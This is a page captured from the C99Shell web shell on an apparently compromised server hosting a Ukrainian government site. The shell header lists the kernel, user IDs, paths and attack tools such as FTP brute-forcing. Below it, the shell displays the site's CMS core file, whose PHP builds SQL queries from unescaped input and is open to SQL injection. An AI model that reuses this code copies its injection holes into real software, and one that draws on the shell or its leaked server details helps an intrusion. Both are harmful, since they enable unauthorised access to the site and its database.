!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/old.zt-rada.gov.ua/   drwxr-xr-x
Free 106.2 GB of 200.55 GB (52.95%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     core5.php (42.02 KB)      -rwxrwxrwx
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
if (get_magic_quotes_gpc()) {
    
$process = array(&$_GET, &$_POST, &$_COOKIE, &$_REQUEST);
    while (list(
$key$val) = each($process)) {
        foreach (
$val as $k => $v) {
            unset(
$process[$key][$k]);
            if (
is_array($v)) {
                
$process[$key][stripslashes($k)] = $v;
                
$process[] = &$process[$key][stripslashes($k)];
            } else {
                
$process[$key][stripslashes($k)] = stripslashes($v);
            }
        }
    }
    unset(
$process);
}
global 
$ULANG$ALANG$ulang$alang$_LANG_ID;
define('SMARTY_DIR''modules-alien/smarty/libs/');
require_once(
SMARTY_DIR.'Smarty.class.php');
session_start();
include 
"database.php";
$conn mysql_connect(DB_HOSTNAMEDB_USERDB_PASSWORD) or trigger_error(mysql_error(), E_USER_ERROR); 
mysql_select_db(DB_NAME);
mysql_query("SET NAMES utf8"$conn);
$_LANG_ID unserialize(GetParam("Languages"));

 
/* $params = explode("&",$_SERVER['QUERY_STRING']);
  foreach($params as $key => $value)
  {
      $param = explode("=", $value);
      if ($param[0] == "lang")
          $_SESSION['user_language'] = 'ukr';
  }*/
$_SESSION['user_language'] = 'ukr';
if (isset(
$_SESSION['user_language']) && trim($_SESSION['user_language']) != "")
    
$ulang $_SESSION['user_language'];
else
    
$ulang GetParam("DefaultLanguage");
if (isset(
$_SESSION['admin_language']) && trim($_SESSION['admin_language']) != "")
    
$alang $_SESSION['admin_language'];
else
    
$alang GetParam("DefaultLanguage");
$ulang 'ukr';
$alang 'ukr';
GetAdminLanguageCaptions($alang);
GetUserLanguageCaptions ($ulang);

$directory opendir("modules");
while (
$s readdir($directory))  
{
      if (
$s == "." || $s == "..")
           continue;
      
$modulefile   "modules/".$s."/module.php";
      if (
file_exists($modulefile))
             include_once 
$modulefile;
}     


function 
GetUserSmarty($module)
{
  
$module strtolower($module);
  global 
$ALANG$ULANG$alang$ulang$AMCMS_Config;
  
$smarty = new Smarty();
  
$smarty->template_dir "user/templates/".$module."/";
  
$smarty->compile_dir  "tmp/_compile_user/".$module."/";
  
$smarty->cache_dir    "tmp/_cache_user/".$module."/";
  
$smarty->assign('ULANG'$ULANG);   
  
$smarty->assign('ALANG'$ALANG);   
  
$smarty->assign('alang'$alang);   
  
$smarty->assign('ulang'$ulang);   
  if (
count($AMCMS_Config) > 0)
      foreach(
$AMCMS_Config as $key => $value)
        
$smarty->assign($key$value); 
  return 
$smarty;  
}

function 
GetAdminSmarty($module)
{
  global 
$ALANG$ULANG$alang$ulang$AMCMS_Config$_LANG_ID;
  
$smarty = new Smarty();
  
$smarty->template_dir strtolower("modules/{$module}/templates/");
  
$smarty->compile_dir  strtolower("tmp/_compile_admin/".$module."/");
  
$smarty->cache_dir    strtolower("tmp/_cache_admin/".$module."/");
  
$smarty->assign('ULANG'$ULANG);   
  
$smarty->assign('ALANG'$ALANG);   
  
$smarty->assign('alang'$alang);   
  
$smarty->assign("languages"$_LANG_ID);
  
$smarty->assign('ulang'$ulang);   
  if (
count($AMCMS_Config) > 0)
      foreach(
$AMCMS_Config as $key => $value)
        
$smarty->assign($key$value); 
  return 
$smarty;  
}

function 
GetParam($paramName$paramLanguage "all")
{
    
$res mysql_query("SELECT * FROM AMCMS_params WHERE param_name = '{$paramName}' AND param_language = '{$paramLanguage}'");
    
$arr mysql_fetch_assoc($res);
    return 
$arr['param_value'];    
}

function 
SetParam($paramName$paramValue$paramLanguage "all")
{
    
$res mysql_query("SELECT * FROM AMCMS_params WHERE param_name = '{$paramName}' AND param_language = '{$paramLanguage}'");
    
$arr mysql_fetch_assoc($res);
    if (
$arr == null)
        
$res mysql_query("INSERT INTO AMCMS_params (param_value, param_name, param_language) VALUES ('{$paramValue}', '{$paramName}', '{$paramLanguage}')");    
    else
        
$res mysql_query("UPDATE AMCMS_params SET param_value = '{$paramValue}' WHERE param_name = '{$paramName}' AND param_language = '{$paramLanguage}'");    
}

function 
GetAdminLanguageCaptions($language)
{
    global 
$ALANG;
    
$res mysql_query("SELECT * FROM `AMCMS_admin_languages`");
    while (
$row mysql_fetch_array($res))
        
$ALANG[$row['caption_name']] = $row['caption_'.$language];
//    include "data/languages/{$language}-admin.inc.php";
}

function 
GetUserLanguageCaptions($language)
{    
    global 
$ULANG;
    
$res mysql_query("SELECT * FROM `AMCMS_user_languages`");
    while (
$row mysql_fetch_array($res))
        
$ULANG[$row['caption_name']] = $row['caption_'.$language];
//    include "data/languages/{$language}-admin.inc.php";
}

function 
GetCurrentDateAndTime()
{
  
$time strtotime(GetParam("TimeOffset"));
  
$fecha date("Y-m-d H:i:s"$time);
  return 
$fecha;  
}
function 
GetYesterday()
{
  
$time strtotime("-1 day ".GetParam("TimeOffset"));
  
$fecha date("Y-m-d"$time);
  return 
$fecha;  
}
function 
GetCurrentYear()
{
  
$time strtotime(GetParam("TimeOffset"));
  
$fecha date("Y"$time);
  return 
$fecha;  
}
function 
GetCurrentMonth()
{
  
$time strtotime(GetParam("TimeOffset"));
  
$fecha date("m"$time);
  return 
$fecha;  
}
function 
GetCurrentDay()
{
  
$time strtotime(GetParam("TimeOffset"));
  
$fecha date("d"$time);
  return 
$fecha;  
}
function 
GetCurrentDayOfWeek()
{
  
$time strtotime(GetParam("TimeOffset"));
  
$fecha date("D"$time);
  switch (
$fecha)
  {
      case 
'Mon': return 1;
      case 
'Tue': return 2;
      case 
'Wed': return 3;
      case 
'Thu': return 4;
      case 
'Fri': return 5;
      case 
'Sat': return 6;
      case 
'Sun': return 7
  }
  return 
$fecha;  
}
function 
GetCurrentHours()
{
  
$time strtotime(GetParam("TimeOffset"));
  
$fecha date("H"$time);
  return 
$fecha;  
}
function 
GetCurrentMinutes()
{
  
$time strtotime(GetParam("TimeOffset"));
  
$fecha date("i"$time);
  return 
$fecha;  
}
function 
DateConvert($year$month$day$hours$minutes)
{
    
$date "";
    if (
$year != 0)
    {
        
$date "{$year}-{$month}-{$day} ";
        if (
$hours != || $minutes != 0)
        {
            
$date .= "{$hours}:{$minutes}";
        }
    }
    return 
$date
}
function 
DateExplode($dateString)
{
    
$date_components explode(" "$dateString);
    
$date explode("-"$date_components[0]);
    
$time explode(":"$date_components[1]);    
    return array(
$date[0], $date[1], $date[2], $time[0], $time[1], $time[2]);
}

function 
GetUsefulDate($dateString$showdate true$showtime true)
{
    global 
$ULANG;
    
$html "";
    
$parts DateExplode($dateString);
    if (
$showdate)
    {
        
$html .= (int)$parts[2]." ".$ULANG['CoreMonthRP'.((int)$parts[1])]." ".$parts[0]." ".$ULANG['CoreYearRP'];
    }
    if (
$showtime)
    {
        
$html .= " ".$parts[3].":".$parts[4];
    }
    return 
$html;
}

///////////

class AMNavigator{
    var 
$Fields;
    function 
AMNavigator()
    {
        
$this->Fields = array();
    }
    function 
AddLink($title$link)
    {
        
$this->Fields[] = array('title' => $title'link' => $link);
    }
    function 
Fetch()
    {
        
$html "";
        
$html .= "<div class=\"Navigator\">";
        
$filename "/";
        
$html .= "<a href=\"{$filename}\"><img src=\"/user/icons/m-home1.gif\" border=\"0\" align=\"absmiddle\" style=\"padding-bottom:3px;\" /></a>";
        foreach (
$this->Fields as $key => $value)
        {
            
$html .= "<span class=\"delimiter\">&#8250;&#8250;&#8250;</span> ";
            
$html .= "<a href=\"{$value['link']}\">{$value['title']}</a> ";
        }
        
$html .= "</div>";
        return 
$html;
    }
    function 
GetTitleForPage()
    {
        global 
$ULANG$ulang;
        
$html "";
        foreach(
$this->Fields as $key => $value)
            
$html .= " | ".$value['title'];
        return 
GetParam("SiteName"$ulang).$html;
    }
    function 
GetTitle()
    {
        global 
$ULANG$ulang;
        return 
$this->Fields[count($this->Fields) - 1]['title'];
    }
}



//////

class AMTable2
{
    var 
$TableName;
    var 
$IndexField;
    var 
$PositionField;    
    var 
$Fields;
    var 
$Module;
    var 
$ParentField;
    function 
AMTable2($tableName)
    {
        
$this->TableName $tableName;
        
$this->Fields = array();
        
$res mysql_list_fields(DB_NAME$this->TableName);
        while (
$row mysql_fetch_field($res))
            
$this->Fields[] .= $row->name;
    }
    function 
AddIndexField($indexField)
    {
        
$this->IndexField $indexField;
    }
    function 
AddPositionField($positionField)
    {
        
$this->PositionField $positionField;
    }
    function 
GetRows($order ""$where ""$limit ""$tables "")
    {
        
$wherePart "";
        
$orderPart "";
        
$limitPart "";
        if (
is_array($where))
            
$wherePart "WHERE (".implode(") AND ("$where).")";
        else
            if (
$where != "")
                
$wherePart "WHERE ".$where;
        if (
$order != "")
            
$orderPart "ORDER BY ".$order;
        if (
$limit != "")
            
$limitPart "LIMIT ".$limit;
        if (
is_array($tables))
            
$tablesPart ",".implode(",",$tables);
        
$sql "SELECT * FROM {$this->TableName}{$tablesPart} {$wherePart} {$orderPart} {$limitPart}";
        
$res mysql_query($sql);
        
$rows = array();
        while (
$row = @mysql_fetch_assoc($res))
        {
            
$rows[] = $row;
        }        
        return 
$rows;
    }
    function 
GetRowById($id)
    {
        
$id = (int)$id;
        if (
$id <= 0)
            return;
        
$sql "SELECT * FROM {$this->TableName} WHERE {$this->IndexField} = '{$id}'";
        
$res mysql_query($sql);
        
$row mysql_fetch_assoc($res);
        return 
$row;
    }
    function 
GetTableName()
    {
        return 
$this->TableName;
    }
    function 
Insert($arr)
    {
        
$fields = array();
        
$values = array();
        foreach(
$arr as $key => $value)
            if (
in_array($key$this->Fields))
            {
                
$fields[] .= $key;
                
$values[] .= "'".($value)."'";
            }
        
$sql "INSERT INTO {$this->TableName} (".implode(","$fields).") VALUES (".implode(","$values).")" ;
        
mysql_query($sql);
        
$id mysql_insert_id();
        if (
strlen($this->PositionField) > 0)
        {
            
mysql_query("UPDATE {$this->TableName} SET {$this->PositionField} = '{$id}' WHERE {$this->IndexField} = '$id'");
        }
        return 
$id;
    }
    function 
Update($arr$id)
    {
        if (isset(
$this->ParentField))
        {
            if (
$id == 1)
                return;
            
$row $this->tree[$id];
            
$this->tree = array();
            
$rows $this->CreateTree($id);
            if (
$id == $arr[$this->ParentField])
                
$arr[$this->ParentField] = $row[$this->ParentField];
                    foreach(
$rows as $key => $value)
                        if (
$value[$this->IndexField] == $arr[$this->ParentField])
                            
$arr[$this->ParentField] = $row[$this->ParentField];                            
        }
        
$values = array();
        foreach(
$arr as $key => $value)
            if (
in_array($key$this->Fields))
            {
                
$values[] .= "$key = '".mysql_real_escape_string($value)."'";
            }
        
$sql "UPDATE {$this->TableName} SET ".implode(","$values)." WHERE {$this->IndexField} = '{$id}'";
        
mysql_query($sql);
        echo 
mysql_error();
        return 
$id;
    }
    function 
Module($mod)
    {
        
$this->Module $mod;
    }
    function 
SetParentField($field)
    {
        
$this->ParentField $field;
    }

    var 
$depth = -1;
    var 
$tree;
    function 
GetPrevRecord($id$where "")
    { 
        
$whereStatement "";
        if (
$where != "")
              
$whereStatement "AND ({$where})"
        
$query "SELECT * FROM {$this->TableName} WHERE ({$this->PositionField} > '{$id}') {$whereStatement} ORDER BY {$this->PositionField} ASC LIMIT 0,1";
        
$query_result mysql_query($query);       
        
$row mysql_fetch_assoc($query_result);
        return 
$row;    
    }
    function 
GetNextRecord($id$where "")
    {
        
$whereStatement "";
        if (
$where != "")
              
$whereStatement "AND ({$where})";       
        
$query "SELECT * FROM {$this->TableName} WHERE ({$this->PositionField} < '{$id}') {$whereStatement} ORDER BY {$this->PositionField} DESC LIMIT 0,1";
        
$query_result mysql_query($query);       
        
$row mysql_fetch_array($query_result);
        return 
$row;    
    }   
    function 
MoveRecordUp($id$where "")
    {
       
$row1 $this->GetRowById($id);
       
$row2 $this->GetNextRecord($row1[$this->PositionField], $where);
       if (
$row2 == null || $row1 == null)
          return;
       
$id1  $row1[$this->IndexField];
       
$id2  $row2[$this->IndexField];       
       
$pos1 $row1[$this->PositionField];
       
$pos2 $row2[$this->PositionField];       
       
$query "UPDATE {$this->TableName} SET {$this->PositionField} = '{$pos2}' WHERE {$this->IndexField} = '{$id1}'";
       
mysql_query($query) or die(mysql_error());   
       
$query "UPDATE {$this->TableName} SET {$this->PositionField} = '{$pos1}' WHERE {$this->IndexField} = '{$id2}'";
       
mysql_query($query) or die(mysql_error());      
     }
  function 
MoveRecordDown($id$where "")
  {
       
$row1 $this->GetRowById($id);
       
$row2 $this->GetPrevRecord($row1[$this->PositionField], $where);
       if (
$row2 == null || $row1 == null)
          return;
       
$id1  $row1[$this->IndexField];
       
$id2  $row2[$this->IndexField];       
       
$pos1 $row1[$this->PositionField];
       
$pos2 $row2[$this->PositionField];       
       
$query "UPDATE {$this->TableName} SET {$this->PositionField} = '{$pos2}' WHERE {$this->IndexField} = '{$id1}'";
     
mysql_query($query) or die(mysql_error());   
       
$query "UPDATE {$this->TableName} SET {$this->PositionField} = '{$pos1}' WHERE {$this->IndexField} = '{$id2}'";
       
mysql_query($query) or die(mysql_error());      
     }     
    
    function 
CreateTree($id)
    {
        global 
$alang;
        
$this->depth++;
        
$res mysql_query("SELECT * FROM {$this->TableName} WHERE {$this->ParentField} = '{$id}' ORDER BY {$this->PositionField} ASC");
        while (
$row mysql_fetch_assoc($res))
        {
            
$row['depth'] = $this->depth;
            
$text "";
            for (
$i 0$i $this->depth$i++)
               
$text .= " &nbsp;&nbsp;&nbsp;&nbsp; ";    
            
$row['preffix'] = $text."&#9492; ";
            
$this->tree[$row[$this->IndexField]] = $row;            
            
$this->CreateTree($row[$this->IndexField]);
        }
        
$this->depth--;
        return 
$this->tree;
    }
    
    function 
GetAdminTable($fields$captions$conditions$order$links$multiple ""$params "")
    {        
        global 
$ALANG;
        if (isset(
$params['tree']))
            
$rows $this->tree;
        else
            
$rows $this->GetRows($order$conditions""$params["tables"]);
        
        
$sortable "";
        if (isset(
$params['tree']))
        {
            
$tree null;
            
$this->CreateTree(0);
        }
        if (isset(
$params['id']))
            
$par " id=\"{$params['id']}\"";
        if (isset(
$params['sortable']))
            
$sortable "sortable";
        if (isset(
$this->Module))
            
$par .= " mod=\"{$this->Module}\"";
        
$html "<table class=\"admin-table {$sortable}\" align=\"center\" {$par} table=\"{$this->TableName}\">";
        
$html .= "<thead>";
        
$html .= "<tr>";
        for(
$i 0$i count($links); $i++)
            
$html .= "<th>&nbsp;</th>";
        for(
$i 0$i count($captions); $i++)
            
$html .= "<th>{$captions[$i]}</th>";
        
$index 1;
        
$html .= "</tr>";
        
$html .= "</thead>";
        
$html .= "<tbody>";
        foreach(
$rows as $key => $value)
        {
            if (isset(
$params["function"]))
            {
                
$params["function"]($value);
            }
            
$html .= "<tr id=\"{$value[$this->IndexField]}\">";
            for(
$i 0$i count($links); $i++)
            {
                switch(
$links[$i])            
                {
                    case 
'up'             $html .= "<td><a href=\"admin.php?mod={$this->Module}&{$this->IndexField}={$value[$this->IndexField]}&up\" class=\"up\">{$ALANG['CoreUp']}</a></td>"; break;
                    case 
'down'         $html .= "<td><a href=\"admin.php?mod={$this->Module}&{$this->IndexField}={$value[$this->IndexField]}&down\" class=\"down\">{$ALANG['CoreDown']}</a></td>"; break;
                    case 
'checkbox'     $html .= "<td><input type=\"checkbox\" name=\"{$this->IndexField}\" value=\"{$value[$this->IndexField]}\"/></td>"; break;
                    case 
'edit'         $html .= "<td><a href=\"admin.php?mod={$this->Module}&{$this->IndexField}={$value[$this->IndexField]}&edit\" class=\"edit\">{$ALANG['CoreEdit']}</a></td>"; break;
                    case 
'delete'       $html .= "<td><a href=\"#\" class=\"ajax delete\" oper=\"delete\">{$ALANG['CoreDelete']}</a></td>"; break;
                    case 
'toarhive'    $html .= "<td align=\"center\"><a href=\"#\" class=\"ajax arhive\" oper=\"toarchive\">{$ALANG['CoreToArchive']}</a></td>"; break;
                    case 
'fromarhive'    $html .= "<td align=\"center\"><a href=\"#\" class=\"ajax arhive\" oper=\"fromarchive\">{$ALANG['CoreFromArchive']}</a></td>"; break;
                }
            }
            for(
$i 0$i count($fields); $i++)
            {
                
$preffix "";
                
$postfix "";
                if (isset(
$paramss['tree']) && $fields[$i] == $params['tree'])
                    
$preffix $this->tree[$value[$this->IndexField]]['preffix'];
                if (
$i == count($fields) - && isset($params["postfix"]))
                {
                    foreach(
$params["postfix"] as $key2 => $value2)
                    {
                        
$postfix .= "<div class=\"{$value2['class']}\"><a href=\"/admin.php?mod={$this->Module}&{$value2['preffix']}&{$this->IndexField}={$value[$this->IndexField]}\">".$value2["title"]."</a></div>";
                    }
                }
                
$html .= "<td>{$preffix}{$value[$fields[$i]]}{$postfix}</td>";
            }
            
$html .= "</tr>";
            
$index++;
            if (
$index 2)
              
$index 1;
        }
        
$html .= "</tbody>";
        
$html .= "</table>";
        
/*
        if (count($multiple) > 0)
        {
            for($i = 0; $i < count($multiple); $i++)
            {
                switch($multiple[$i])            
                {
                    case 'delete'       : $html .= "<td><a href=\"#\" class=\"ajax delete\" oper=\"delete\">{$ALANG['CoreDelete']}</a></td>"; break;
                    case 'toarhive'    : $html .= "<td align=\"center\"><a href=\"#\" class=\"ajax arhive\" oper=\"toarchive\">{$ALANG['CoreToArchive']}</a></td>"; break;
                    case 'fromarhive'    : $html .= "<td align=\"center\"><a href=\"#\" class=\"ajax arhive\" oper=\"fromarchive\">{$ALANG['CoreFromArchive']}</a></td>"; break;
                }
            }
        }*/
        
return $html;
    }
    function 
Run($arr)
    {
        if (
$arr['table'] != $this->TableName)
            return;            
        if (
$arr['oper'] == "sorting")
        {
            
$fields explode('&'$arr['ids']);
            
$order  0;
            
$fields array_reverse($fields);
            
$ids = array();
            
$order 0;
            foreach(
$fields as $field)
            {
                
$order++;
                
$field_key_value explode('='$field);
                
$level          urldecode($field_key_value[0]);
                
$id          urldecode($field_key_value[1]);
                if (
$id 0)
                    
$ids[]         .= $id;
            }
            
sort($ids);
            
$order 0;
            foreach(
$fields as $field)
            {
                
$field_key_value explode('='$field);
                
$level          urldecode($field_key_value[0]);
                
$id          urldecode($field_key_value[1]);
                if (
$id <= 0)
                    continue;
                
mysql_query("UPDATE {$this->TableName} SET {$this->PositionField}='{$ids[$order]}' WHERE {$this->IndexField} = '$id'");
                echo 
"UPDATE {$this->TableName} SET {$this->PositionField}='{$ids[$order]}' WHERE {$this->IndexField} = '$id'";
                
$order++;
            }            
            echo 
"{\"status\" : \"ok\"}";
            die;
        }
        if (
$arr['oper'] == "delete")
        {
            
$this->Delete($arr['id']);
            echo 
"{\"status\" : \"ok\", \"code\" : \"{$arr['id']}\"}";
            die;
        }
        if (
$arr['oper'] == "up")
        {
            
$row $this->GetRowById($arr['id']);
            
$pid $row[$this->ParentField];
            
$this->MoveRecordUp($arr['id'], "{$this->ParentField} = '$pid'");
            echo 
"{\"status\" : \"ok\", \"code\" : \"{$arr['id']}\"}";
            die;
        }
        if (
$arr['oper'] == "down")
        {
            
$row $this->GetRowById($arr['id']);
            
$pid $row[$this->ParentField];
            
$this->MoveRecordDown($arr['id'], "{$this->ParentField} = '$pid'");
            echo 
"{\"status\" : \"ok\", \"code\" : \"{$arr['id']}\"}";
            die;
        }
    }
    function 
Delete($id)
    {
        if (isset(
$this->ParentField) && $id == 1)
            return;
        
mysql_query("DELETE FROM {$this->TableName} WHERE {$this->IndexField} = '{$id}'");
    }
    function 
DeleteRows($where)
    {
        
mysql_query("DELETE FROM {$this->TableName} WHERE {$where}");
    }
}

function 
ParseDate($date$what)
{
    
$arr DateExplode($date);    
    switch(
$what)
    {
        case 
"year"    : return $arr[0];
        case 
"month"   : return $arr[1];
        case 
"day"     : return $arr[2];
        case 
"hours"   : return $arr[3];
        case 
"minutes" : return $arr[4];
        case 
"seconds" : return $arr[5];
    }
}
function 
ImageResize($src$dest$width$height$rgb=0xFFFFFF$quality=100)
{
  if (!
file_exists($src)) return false;
 
  
$size getimagesize($src);
 
  if (
$size === false) return false;
 
  
// ?????????? ???????? ?????? ?? MIME-??????????, ???????????????
  // ???????? getimagesize, ? ???????? ??????????????? ???????
  // imagecreatefrom-???????.
  
$format strtolower(substr($size['mime'], strpos($size['mime'], '/')+1));
  
$icfunc "imagecreatefrom" $format;
  if (!
function_exists($icfunc)) return false;
 
  
$x_ratio $width $size[0];
  
$y_ratio $height $size[1];
 
  
$ratio       min($x_ratio$y_ratio);
  
$use_x_ratio = ($x_ratio == $ratio);
 
  
/*$new_width   = $use_x_ratio  ? $width  : floor($size[0] * $ratio);
  $new_height  = !$use_x_ratio ? $height : floor($size[1] * $ratio);
  $new_left    = $use_x_ratio  ? 0 : floor(($width - $new_width) / 2);
  $new_top     = !$use_x_ratio ? 0 : floor(($height - $new_height) / 2);*/
  
$new_width  floor($size[0] * $ratio);
  
$new_height floor($size[1] * $ratio);
  
$new_left 0;
  
$new_top  0;
  
$isrc $icfunc($src);
  
$idest imagecreatetruecolor($new_width$new_height);
 
  
imagefill($idest00$rgb);
  
imagecopyresampled($idest$isrc$new_left$new_top00
    
$new_width$new_height$size[0], $size[1]);
 
  
imagejpeg($idest$dest$quality);
 
  
imagedestroy($isrc);
  
imagedestroy($idest);
 
  return 
true;
 
}



function 
GetYearSelectForm($name$method "get"$selectedYear ""$startYear "")
{
        if (
$startYear == "")
            
$startYear GetParam("StartYear");
        global 
$ALANG;
        if (
$selectedYear == "")
            
$selectedYear GetCurrentYear();
        
$option1 "";
        for(
$i GetCurrentYear() + 1$i >= $startYear$i--)
        {
             
$selected "";
             if (
$i == $selectedYear)
                
$selected "selected=\"selected\"";
             
$option1 .= "<option {$selected} value=\"{$i}\">".$i." ".$ALANG['CoreYear']."</option>";
        }
        
$select1 "<select name=\"{$name}\" id=\"{$name}\" onchange=\"submit1.click();\">{$option1}</select> ";
        
$input "<input style=\"display:none;\" type=\"submit\" name=\"submit1\" id=\"submit1\" value=\"".$ALANG['CoreSelect'] ."\" />";
        
$selectorHtml "<div style=\"text-align:center\"><form style=\"margin-bottom:20px\" name=\"datefrm\" method=\"{$method}\"> ".$ALANG['CoreSelect'].": {$select1} {$select2} {$input}</form></div>";
        return     
$selectorHtml;        

}

function 
ClearStringForTitle($title)
{
     
$str_win iconv("utf-8","cp1251"$title);
     
$str_win trim($str_win);                                         
     
$str_win str_replace("\n"" "$str_win);
     
$str_win str_replace("\r"" "$str_win);
     
$str_win ereg_replace(" +"" ",$str_win); 
     return 
iconv("cp1251","utf-8"$str_win);    
}

/////////////// МОИ модули /////////
class AMPhotomanager
{
    var 
$Module;
    var 
$ModuleParams;
    var 
$Params;
    var 
$Table;
    function 
AMPhotomanager($params)
    {
        
$this->Table = new AMTable2("AMCMS_photomanager");
        
$this->Table->AddIndexField("photo_id");
        
$this->Table->AddPositionField("photo_position");        
        
$this->Params $params;
    }
    function 
Run($post$files$mod$params)
    {
        if (isset(
$this->Params['main']))
        {
            if (
strlen($files['mainphoto']['name']) > 0)
            {
                
$src  $files['mainphoto']['tmp_name'];            
                
$dest tempnam_sfx("data/photomanager","");
                
$row['photo_filename'] = $dest;
                @
unlink($dest);
                
$dest1 $dest."_main.jpg";
                
$dest2 $dest."_main_big.jpg";
                
$size1 explode("x"$this->Params['main']);
                
ImageResize($src$dest1$size1[0], $size1[1], 0xFFFFFF90);
                
ImageResize($src$dest2102410240xFFFFFF65);
            }
            
$rows $this->Table->GetRows("", array("photo_module = '$mod'""photo_module_params = '{$params}'""photo_type='main'"));
            
$row['photo_title_rus'] = $post['mainphoto_title_rus'];
            
$row['photo_title_ukr'] = $post['mainphoto_title_ukr'];
            
$row['photo_title_eng'] = $post['mainphoto_title_eng'];
            
$row['photo_description_rus'] = $post['mainphoto_description_rus'];
            
$row['photo_description_ukr'] = $post['mainphoto_description_ukr'];
            
$row['photo_description_eng'] = $post['mainphoto_description_eng'];
            
$row['photo_align'] = $post['mainphoto_align'];
            
$row['photo_module'] = $mod;
            
$row['photo_module_params'] = $params;
            
$row['photo_type'] = "main";
            if (
count($rows) == 0)
                
$this->Table->Insert($row);
            else
            {
                
$this->Table->Update($row$rows[0]['photo_id']);
                if (
strlen($row['photo_filename']) > 0)
                {
                    @
unlink($rows[0]['photo_filename']."_main.jpg");
                    @
unlink($rows[0]['photo_filename']."_main_big.jpg");
                }
            }
        }
        if (isset(
$this->Params['text']))
        {
            
$index 0;
    
//        var_dump($post);
            
for($i 0$i count($post['photo_title_rus']); $i++)
            {
    
//            $rows = $this->Table->GetRows("", array("photo_module = '$mod'", "photo_module_params = '{$params}'"));        
                
if (is_numeric($post['photo_id'][$i]))
                {
                    
$row = array();
                    
$row['photo_title_rus'] = $post['photo_title_rus'][$i];
                    
$row['photo_title_ukr'] = $post['photo_title_ukr'][$i];
                    
$row['photo_title_eng'] = $post['hoto_title_eng'][$i];
                    
$row['photo_description_rus'] = $post['photo_description_rus'][$i];
                    
$row['photo_description_ukr'] = $post['photo_description_ukr'][$i];
                    
$row['photo_description_eng'] = $post['photo_description_eng'][$i];
                    
$row['photo_align'] = $post['photo_align'];
                    
$row['photo_module'] = $mod;
                    
$row['photo_module_params'] = $params;
                    
$row['photo_type'] = "text";
                    if (
strlen($files['photo']['name'][$i]) > 0)
                    {
                        
$r $this->Table->GetRowById($post['photo_id'][$i]);
                        @
unlink($r['photo_filename']."_big.jpg");
                        @
unlink($r['photo_filename']."_small.jpg");
                        
$src  $files['photo']['tmp_name'][$i];
                        
$dest tempnam_sfx("data/photomanager","");
                        @
unlink($dest);
                        
$destSmall $dest."_small.jpg";
                        
$destBig   $dest."_big.jpg";
                        
$sizeSmall explode("x"$this->Params['text']['small']);
                        
$sizeBig   explode("x"$this->Params['text']['big']);
                        
ImageResize($src$destSmall$sizeSmall[0], $sizeSmall[1], 0xFFFFFF90);
                        
ImageResize($src$destBig$sizeBig[0], $sizeBig[1], 0xFFFFFF65);
                        
$row['photo_filename'] = $dest;
                    }
                    
$this->Table->Update($row$post['photo_id'][$i]);
                } else
                if (
$post['photo_id'][$i] != 'delete')
                {
                    
$row = array();
                    
$row['photo_title_rus'] = $post['photo_title_rus'][$i];
                    
$row['photo_title_ukr'] = $post['photo_title_ukr'][$i];
                    
$row['photo_title_eng'] = $post['hoto_title_eng'][$i];
                    
$row['photo_description_rus'] = $post['photo_description_rus'][$i];
                    
$row['photo_description_ukr'] = $post['photo_description_ukr'][$i];
                    
$row['photo_description_eng'] = $post['photo_description_eng'][$i];
                    
$row['photo_align'] = $post['photo_align'];
                    
$row['photo_module'] = $mod;
                    
$row['photo_module_params'] = $params;
                    
$row['photo_type'] = "text";
                    if (
strlen($files['photo']['name'][$i]) > 0)
                    {
                        
$src  $files['photo']['tmp_name'][$i];
                        
$dest tempnam_sfx("data/photomanager","");
                        @
unlink($dest);
                        
$destSmall $dest."_small.jpg";
                        
$destBig   $dest."_big.jpg";
                        
$sizeSmall explode("x"$this->Params['text']['small']);
                        
$sizeBig   explode("x"$this->Params['text']['big']);
                        
ImageResize($src$destSmall$sizeSmall[0], $sizeSmall[1], 0xFFFFFF90);
                        
ImageResize($src$destBig$sizeBig[0], $sizeBig[1], 0xFFFFFF65);
                        
$row['photo_filename'] = $dest;
                    }
                    
$this->Table->Insert($row);
                }
            }    
        }
    }
    function 
GetAdminTable($mod$params$type "all")
    {        
        
$smarty GetAdminSmarty("Photomanager");
        
$rows_main $this->Table->GetRows("", array("photo_module = '$mod'""photo_module_params = '{$params}'""photo_type = 'main'"));
        
$rows_photos $this->Table->GetRows("photo_position DESC", array("photo_module = '$mod'""photo_module_params = '{$params}'""photo_type = 'text'"));
        if (
count($rows_main) > 0)
            
$smarty->assign("mainphoto"$rows_main[0]);
        if (
count($rows_photos) > 0)
            
$smarty->assign("photos"$rows_photos);
        
$html "";
        if (isset(
$this->Params['main']))
            
$res['main'] = $smarty->fetch("photomanager-main-photo.tpl");
        if (isset(
$this->Params['text']))
            
$res['photos'] = $smarty->fetch("photomanager-photos.tpl");        
        if (
$type == "all")            
            return 
$res['main'].$res['photos'];
        if (
$type == "main")
            return 
$res['main'];
        if (
$type == "photos")
            return 
$res['photos'];
    }
    function 
GetMainPhoto($mod$params)
    {
        
$rows_main $this->Table->GetRows("", array("photo_module = '$mod'""photo_module_params = '{$params}'""photo_type = 'main'"));
        if (
count($rows_main) > 0)
        {

            
$rows_main[0]['photo_filename_big'] = $rows_main[0]['photo_filename']."_main_big.jpg";
            
$rows_main[0]['photo_filename'] = $rows_main[0]['photo_filename']."_main.jpg";
            return 
$rows_main[0];
        }
        return 
"";
    }
    function 
GetPhotos($mod$params)
    {
        
$rows $this->Table->GetRows("photo_position DESC", array("photo_module = '$mod'""photo_module_params = '{$params}'""photo_type = 'text'"));
        for(
$i 0$i count($rows); $i++)
        {
            
$rows[$i]['photo_filename_small'] = $rows[$i]['photo_filename']."_small.jpg";
            
$rows[$i]['photo_filename_big']   = $rows[$i]['photo_filename']."_big.jpg";            
        }
        return 
$rows;
    }
}
 function 
tempnam_sfx($path$suffix)
   {
      do
      {
         
$file $path."/".mt_rand().$suffix;
         
$fp = @fopen($file'x');
      }
      while(!
$fp);

      
fclose($fp);
      return 
$file;
   }
function 
SearchOnSite($words$selectFields$indexField$fields$tableName)
{
    
$field implode(","$fields);
    
$titleField implode(","$selectFields);
    
